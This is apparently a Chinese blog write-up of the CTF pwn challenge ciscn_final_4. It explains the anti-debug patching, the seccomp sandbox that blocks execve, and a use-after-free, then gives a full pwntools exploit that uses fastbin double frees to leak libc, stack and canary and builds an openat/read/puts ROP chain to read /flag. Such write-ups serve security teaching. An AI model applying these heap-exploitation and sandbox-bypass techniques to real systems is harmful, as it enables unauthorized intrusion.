沙盒禁用+堆栈结合+反调试-ciscn_final_4

这题比较好玩题目采用了沙盒禁用+堆栈结合+反调试

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XgvNWTQj-1648114290498)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321180919410.png)]

分析

main函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yORn4pt-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181259075.png)]

watch函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CzgszWKW-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181326677.png)]

结合我的注释看,这题是有反调试的,所以就我们在本地打的时候可以将这文件的反调试部分就nop掉,之前会一点点逆向的题,所以也没耗多少时间,具体nop手法看我的另一篇文章[链接]:121312

nop后的main函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nh2D1iu0-1648114290500)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181854022.png)]

new函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0JADfctq-1648114290501)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181930900.png)]在这里插入图片描述

mwrite函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lJlXl3fF-1648114290502)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181950226.png)]

delete函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jX9HNIec-1648114290504)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321182004515.png)]

总结:

  1. add函数可以malloc 32次
  2. 有打印堆数据函数
  3. delete函数有uaf漏洞
  4. 运行程序后说不能执行系统调用(嗯~)之前没遇到过看了下大佬文章说是沙箱禁用了execve

所以pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取openat/read/puts的组合方式来读取flag

实现沙盒机制方式:1.prctl函数调用,2.seccomp库函数。 详细解答看这篇文章->安全客

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nllbqlSC-1648114290506)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183027000.png)]

那么具体禁用了哪些系统调用可以通过seccomp-tools工具 ->> gitbhu 这题的系统调用禁用如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rMxsR6cn-1648114290507)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183612246.png)]

可以看到没有禁用 open,write,read,但是我实战的时候open函数用不了,只能用openat函数

思路

这题在用之前对gdb的pwntools不是特别会使用,所以做题过程浪费很多时间,工具使用网上也不是很好去搜索,所以这里尽量记录一下使用技巧

  1. 因为这题有打印堆函数,所以可以很方便的泄漏libc
  2. 然后通过使用double free漏洞进行fast attack攻击堆分配到note_size处(bss : 0x602040-0x6020c0),因为note_size就是我们new函数填入的size,是一个可控区域那么就可以伪造fake chunk,然后将__environ指针写入到note区域进行栈地址泄漏
  3. 有了栈地址就可以通过fast attack攻击堆分配到stack空间了,然后就是泄漏canary,最后构造ROP(open-write-printf)

ok~

简单的泄漏libc套路

    sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
    add(0x68,'1')#用于fastbin attack
    add(0x68,'2') #用于fastbin attack
    add(0xf0,'3') #leak libc
    add(0x68,'4')
    add(0x68,'5')
    add(0x68,'6')
    add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
    dele(2) #unsort bin
    show(2)
    ru('\n')
    libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)

再通过fastbin attack分配堆到bss的指针处进行栈地址泄漏

#-----------------------leak stack address-------------------------------
    dele(1) #double free
    dele(0)
    dele(1)
    fake = 0x602050
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
    show(0)
    ru('\n')
    stack = info(rc(6),'stack')

有了栈地址同样就可以fastbin attck到栈处,进行canary泄漏

#-----------------------attack into stack-------------------------------
    dele(3) #double free
    dele(4)
    dele(3)
    fake = stack - 0x120
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
    show(14)
    ru('\n')
    ru('A'*0x11)
    canary = info(b'\x00' + rc(7),'canary')

因为开局分析了,这题是通过open-read-puts方式进行读取flag,现在有了libc就可以很方便的构造ropgadget链条了,但是因为我们用fastbin attck方式写入栈数据的长度有限,那么就需要在多处构造这个rop,首先是第一个gadget如下:(这个gadget是在main函数栈空间里面,实现了伪造的read函数调用,且写入数据到指定栈地址)

#-----------------------make rop-------------------------------
#这段rop用于后面跳转到这里,事先布置好
    dele(3) #double free
    dele(4)
    dele(3)
    fake = stack - 0x120
    add(0x68,p64(fake)) # fastbin attack main函数栈空间处
    add(0x68)
    add(0x68)
    prdi = libc.address + 0x0000000000021102
    prsi = libc.address + 0x00000000000202e8
    prdx = libc.address + 0x0000000000001b92
    ropgad = p64(prdi) + p64(0)
    ropgad += p64(prsi) + p64(fake+0x55-0xd)
    ropgad += p64(prdx) + p64(0x999)
    ropgad += p64(libc.symbols['read'])# + p64(fake+0x55)
    add(0x68,ropgad)

上面在main函数栈中写入了gadget,因为main函数是个死循环不会走ret指令,所以我们可以将堆分配到new函数的栈空间然后再调整rsp的值跳转到mian函数栈空间里的gadget

#-----------------------make new() rop-------------------------------
#因为main函数是个死循环不会走ret指令,所以这里在new函数构造rop然后再跳到我们上面布置的ropgad处
    add(0x38)
    add(0x38)
    dele(2) #double free
    dele(20)
    dele(2)
    rop_addr = fake
    fake = fake - (0x7ffd7aeb1e28-0x7ffd7aeb1d02)
    add(0x38,p64(fake)) # fastbin attack 到new函数的栈空间处 构造rop
    add(0x38)
    add(0x38)
    #通过计算0x7fff66d5cbf8-0x7fff66d5cae8 = 0x110(new函数栈rsp地址 - 前面ropgad_addr栈地址)
    add_rsp = libc.address + 0x00000000000359dc # add rsp, 0x108 ; ret
    logs(rop_addr)
    #z('b *0x400B91 \n c')
    add(0x38,p8(0)*6 + p64(canary) + p64(0) + p64(add_rsp))  #从new函数结束后ret到前面我们在main函数布置的ropgad处
    #这里的rop跳转方式不同于平常的跳到指定程序地址,这里是要跳到指定栈空间所以是调整rsp的位置

经过上面一步后我们的程序执行流就到了main函数栈空间里面了,那就是我们伪造的read函数,那么就可以完成我们最后一步的ropgadget读取到flag了

    #经过上面布置的ropgad现在就可以执行我们布置的read函数了
    buf = 0x602038
    flag_addr = rop_addr + 0x90 + 0x48 #指向我下面payload输入的·/flag\x00·处
    #payload = p64(prdi) + p64(flag_addr)
    #payload += p64(prsi)+ p64(0)
    #payload += p64(libc.symbols['open']) #亲测用不了

    payload = p64(prdi) + p64(0)
    payload += p64(prsi)+ p64(flag_addr)
    payload += p64(prdx)+ p64(0)
    payload += p64(libc.symbols['openat'])#使用这个函数就需要输入绝对路径的文件路径

    payload += p64(prdi) + p64(0x3)
    payload += p64(prsi)+ p64(buf)
    payload += p64(prdx)+ p64(100)
    payload += p64(libc.symbols['read'])
    payload += p64(prdi) + p64(buf)
    payload += p64(libc.symbols['puts']) + p64(0x400F6D) +b'/flag\x00' #根目录下的flag文件
    sl(payload)

其中上面的伪造的具体栈地址偏移需要gdb手动去调试

在做题过程中gdb调试,比如想看new函数的栈空间情况,因为new函数调用次数比较多用设断点方式去一步步跟很蠢,那么就可以在你要停的那次函数前面gdb.attach()如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0RNMxpjs-1648114290508)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220322134903856.png)]

以前不知道,总是习惯性的把gdb.attach放在前面了,然后手动的一直c、c、c。。。

完整exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import sys

#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

#binary = "./ciscn_final_4-debug"
binary = "./ciscn_final_4"

one = [0x45216,0x4526a,0xf02a4,0xf1147]  #2.23(64)
#idx = int(sys.argv[1])

global p
local = 0
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("node4.buuoj.cn","28506")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(mallocr,string='logs'):
    if(isinstance(mallocr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))

def pa(s=1,t='step'):
    log.success('pause : '+ t +'---> '+str(hex(s)))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def add(s,c = 'A',p=0):
    sla('>> ','1')
    sla('size?',str(s))
    if p :
        pa()
    sa('content?',c)
def dele(i):
    sla('>> ','2')
    sla('index ?',str(i))
def show(i):
    sla('>> ','3')
    sla('index ?',str(i))
################################### Statr ############################################
def pwn():
    sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
    add(0x68,'1')#用于fastbin attack
    add(0x68,'2') #用于fastbin attack
    add(0xf0,'3') #leak libc
    add(0x68,'4')
    add(0x68,'5')
    add(0x68,'6')
    add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
    dele(2) #unsort bin
    show(2)
    ru('\n')
    libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)
#-----------------------leak stack address-------------------------------
    dele(1) #double free
    dele(0)
    dele(1)
    fake = 0x602050
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
    show(0)
    ru('\n')
    stack = info(rc(6),'stack')
#-----------------------attack into stack-------------------------------
    dele(3) #double free
    dele(4)
    dele(3)
    fake = stack - 0x120
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
    show(14)
    ru('\n')
    ru('A'*0x11)
    canary = info(b'\x00' + rc(7),'canary')
#-----------------------make rop-------------------------------
#这段rop用于后面跳转到这里,事先布置好
    dele(3) #double free
    dele(4)
    dele(3)
    fake = stack - 0x120
    add(0x68,p64(fake)) # fastbin attack main函数栈空间处
    add(0x68)
    add(0x68)
    prdi = libc.address + 0x0000000000021102
    prsi = libc.address + 0x00000000000202e8
    prdx = libc.address + 0x0000000000001b92
    ropgad = p64(prdi) + p64(0)
    ropgad += p64(prsi) + p64(fake+0x55-0xd)
    ropgad += p64(prdx) + p64(0x999)
    ropgad += p64(libc.symbols['read'])# + p64(fake+0x55)
    add(0x68,ropgad)
#-----------------------make new() rop-------------------------------
#因为main函数是个死循环不会走ret指令,所以这里在new函数构造rop然后再跳到我们上面布置的ropgad处
    add(0x38)
    add(0x38)
    dele(2) #double free
    dele(20)
    dele(2)
    rop_addr = fake
    fake = fake - (0x7ffd7aeb1e28-0x7ffd7aeb1d02)
    add(0x38,p64(fake)) # fastbin attack 到new函数的栈空间处 构造rop
    add(0x38)
    add(0x38)
    #通过计算0x7fff66d5cbf8-0x7fff66d5cae8 = 0x110(new函数栈rsp地址 - 前面ropgad_addr栈地址)
    add_rsp = libc.address + 0x00000000000359dc # add rsp, 0x108 ; ret
    logs(rop_addr)
    #z('b *0x400B91 \n c')
    add(0x38,p8(0)*6 + p64(canary) + p64(0) + p64(add_rsp))  #从new函数结束后ret到前面我们在main函数布置的ropgad处
    #这里的rop跳转方式不同于平常的跳到指定程序地址,这里是要跳到指定栈空间所以是调整rsp的位置

    #经过上面布置的ropgad现在就可以执行我们布置的read函数了
    buf = 0x602038
    flag_addr = rop_addr + 0x90 + 0x48
    #payload = p64(prdi) + p64(flag_addr)
    #payload += p64(prsi)+ p64(0)
    #payload += p64(libc.symbols['open'])

    payload = p64(prdi) + p64(0)
    payload += p64(prsi)+ p64(flag_addr)
    payload += p64(prdx)+ p64(0)
    payload += p64(libc.symbols['openat'])

    payload += p64(prdi) + p64(0x3)
    payload += p64(prsi)+ p64(buf)
    payload += p64(prdx)+ p64(100)
    payload += p64(libc.symbols['read'])
    payload += p64(prdi) + p64(buf)
    payload += p64(libc.symbols['puts']) + p64(0x400F6D) +b'/flag\x00'
    sl(payload)
    p.interactive()
################################### End ##############################################
pwn()

打远程截图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z5BZLBOz-1648114290509)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321180547649.png)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值